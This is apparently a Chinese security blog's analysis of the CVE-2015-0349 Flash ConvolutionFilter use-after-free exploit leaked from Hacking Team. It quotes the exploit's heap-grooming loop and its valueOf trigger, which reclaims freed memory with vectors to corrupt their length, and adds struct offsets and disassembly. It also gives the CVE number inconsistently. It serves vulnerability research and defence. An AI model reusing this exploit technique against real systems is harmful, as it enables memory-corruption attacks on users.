最近專門提供通過攻擊手法進行網絡監聽的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數據泄漏。
之前我們分析了HackingTeam泄露數據中的Flash 0day (bytearray 0day)。而在泄露數據中我們還看到了另外一個名為convolution_filter的flash exploit。
看了一下這個flash exploit,很快意識到這個漏洞是一個已經修補的漏洞cve-2015-0329,在今年4月份被修補,這也解釋了readme文檔中,flash后面加了“(April 2015)”,意思是這個洞只能用到今年4月之前的flash版本中:
(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)
這個漏洞有個不平凡的故事,今年的Pwn2Own大賽中,前Vupen主力Nicolas Joly正是用這個漏洞拿下了64位Flash插件:
所以事情就變得很有趣了,一邊是Nico用這個漏洞打 Pwn2Own,另一邊HackingTeam(從常理推測,應該是通過其它渠道,和Nico無關)也掌握了這個漏洞并將其用于自己的Exploit工具包中。
CVE-2015-0349原理分析
再回頭看一下CVE-2015-0349這個漏洞,這是一個ActionScript 3中ConvolutionFilter類的內部matrix數組的一個Use After Free漏洞,這是個非常好用的漏洞,在32位和64位上都可以輕松實現穩定利用。
我們來看一下HackingTeam泄露的exploit代碼,關鍵部分如下:
1.? 創建ConvolutionFilter對象:
// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15);
a[i+5] = new Class2(i+5);
}
1.? 設置ConvolutionFilter.matrix
var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch (e:Error){}
這里有一個關鍵點,filter.matrix被賦值為m(類型是 Array),而Array m的第一個元素是一個Clasz類,而Clasz類定義了valueOf方法,這個valueOf是漏洞觸發的關鍵點:
public class Clasz
{
…
public function Clasz() {?? }
prototype.valueOf = function()
{
…
}
2.? 在Clasz的valueOf函數中,設置ConvolutionFilter.matrixX:
prototype.valueOf = function()
{
if (filter.matrixX > 14) throw new Error(””); // check for the second valueOf() call
ref = new Array(5);
collect.push(ref); // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for(var i:int; i < ref.length; i++) {
ref[i] = new Vector.<uint>;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}
事實上filter.matrixX = 15執行完畢之后,ConvolutionFilter內部的一個float數組(我們叫他matrixArray)就會被釋放,而從valueOf返回之后,已經釋放的matrixArray還會繼續被使用,并且往里面寫入數據,從而造成了Use-After-Free。我們可以看到valueOf函數中,在設置了filter.matrixX之后,分配了一系列的vector<uint>,這些vector就是用來占用釋放后的matrixArray的內存的。這樣當程序繼續往被釋放后的matrixArray里寫數據時,實際上是在往vector對象里面寫數據,從而達到修改vector長度字段的目的,便于進一步exploit。
細節分析
我們首先先介紹一下ConvolutionFilter的關鍵結構:
ConvolutionFilterObject {
+10 ConvolutionFilter {
+14???? int matrixX;
+18???? int matrixY;
+1C???? float *matrixArray;
+20???? int matrixLength;
}
}
ConvolutionFilter里面有成員存放matrix矩陣,matrixX和matrixY代表矩陣的x和y,matrixArray是動態分配的數組,其大小是由matrixX和matrixY決定的,關系如下:
matrixArray = alloc( matrixX * matrix * sizeof(float) )
當matrixX和matrixY改變時,如果原來的matrixArray大小不足以容納現在的容量,則舊的matrixArray會被釋放,然后分配新的matrixArray (UAF就是這么來的)
當exploit代碼創建ConvolutionFilter時,傳入的參數是matrixX=14,matrix=15:
a[j] = new ConvolutionFilter(14,15);
因此matrixArray初始大小為 14 * 15 * 4 = 840,然后我們看一下第二步,執行
try { filter.matrix = m; } catch (e:Error){}
時發生了什么:
ConvolutionFilter::set_matrix基本上是直接調用了另外一個函數,我們叫他set_matrix_internal:
.text:102E9604 loc_102E9604:?????????????????????????? ; CODE XREF: sub_102E95ED+Aj
.text:102E9604???????????????? push??? 14h
.text:102E9606???????????????? lea???? eax, [esi+24h]
.text:102E9609???????????????? push??? eax
.text:102E960A???????????????? mov???? eax, [esi+8]
.text:102E960D???????????????? mov???? ecx, [eax+4]
.text:102E9610???????????????? or????? edi, 1
.text:102E9613???????????????? push??? edi
.text:102E9614???????????????? call??? set_matrix_internal
調用該函數時參數如下:
set_matrix_internal( paramArray,? matrixArray,? matrixLength )
這里的關鍵點是:matrixArray直接作為參數被傳入。我們來看一下set_matrix_internal函數,該函數的功能可以描述為:將paramArray(在exploit里面就是m這個數組)里面的每一項賦值給matrixArray中對應的項,由于matrixArray的類型為float *,因此如果有必要的話得把paramArray中的元素轉換成float,對應邏輯的偽代碼如下:
for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}
還記得我們的m[0]被設置成一個Clasz對象了嗎?
m[0] = new Clasz;
將Clasz對象轉換成Number的過程中,會調用Clasz對象的valueOf函數,而前面已經講過,valueOf函數會設置filter.matrixX=15(原來的matrixX為14),此時由于matrixArray大小不夠,于是舊的matrixArray被釋放,新的matrixArray被分配。然后從valueOf返回到set_matrix_internal以后,程序繼續向matrixArray里面寫入值,注意這里用的還是舊的 matrixArray,于是UAF漏洞就這樣產生了。
又是valueOf
如果你看過我們前一篇分析bytearray 0day的文章,你可能對valueOf這個函數依然印象深刻。事實上這兩個洞無論是從產生原理,還是利用方式來講都非常的相近。背后隱藏的邏輯是腳本語言從native code回調到腳本層(通過toString, valueOf, event等等),還是很容易出現沒處理好而造成UAF等情況的發生。類似case已經在chrome, IE, flash, java等等軟件中多次出現,有心的讀者可以去留意一下。事實上這也是腳本語言漏洞挖掘中的一個值得切入的點。
漏洞防范
由于Adobe官方已針對此漏洞發布了安全更新,用戶只要及時升級就可避免受此漏洞影響。